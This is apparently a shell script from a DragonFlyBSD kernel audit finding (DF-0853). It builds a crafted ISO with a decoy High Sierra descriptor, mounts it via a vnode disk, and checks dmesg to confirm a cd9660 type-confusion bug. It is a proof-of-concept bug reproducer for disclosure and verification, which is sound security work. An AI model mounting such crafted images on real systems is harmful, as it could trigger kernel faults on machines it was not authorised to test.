DragonFlyBSD Kernel Audit
DF-0853 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# run.sh - generate the crafted ISO, mount it, observe the type confusion.
#
# Prereq:  build.sh has been run (make_crafted_iso exists).
# Run as:  root (or with vfs.usermount=1 + chowned /dev/vn0 for the unpriv path)
set -e
cd "$(dirname "$0")"

[ -x ./make_crafted_iso ] || { echo "run ./build.sh first"; exit 1; }

# 1. Generate the crafted ISO (Sierra decoy + Standard PVD + Standard END)
./make_crafted_iso crafted.iso

# 2. Attach it as a vnode disk
VN=$(vnconfig -c vn ./crafted.iso 2>&1 | head -1) || VN=vn0
vnconfig -c ${VN} ./crafted.iso >/dev/null 2>&1 || true
DEV=/dev/${VN}

# 3. Capture "before" High-Sierra count, mount, observe
mkdir -p /mnt/df0853
BEFORE=$(dmesg | grep -c "High Sierra Format" || true)
RC=0
mount -t cd9660 -o ro ${DEV} /mnt/df0853 || RC=$?
AFTER=$(dmesg | grep -c "High Sierra Format" || true)

echo "MOUNT_RC=${RC}"
echo "HIGH_SIERRA_BEFORE=${BEFORE}"
echo "HIGH_SIERRA_AFTER=${AFTER}"
echo "--- dmesg tail ---"
dmesg | tail -5

# 4. Cleanup
umount /mnt/df0853 2>/dev/null || true
vnconfig -u ${VN} 2>/dev/null || true

# 5. Verdict
if [ "${AFTER}" -gt "${BEFORE}" ]; then
    echo "VERDICT: BUG PRESENT -- 'cd9660: High Sierra Format' was logged for a Standard ISO9660 image."
    exit 0
else
    echo "VERDICT: BUG ABSENT -- no misclassification (kernel is patched or PVD was not Standard)."
    exit 1
fi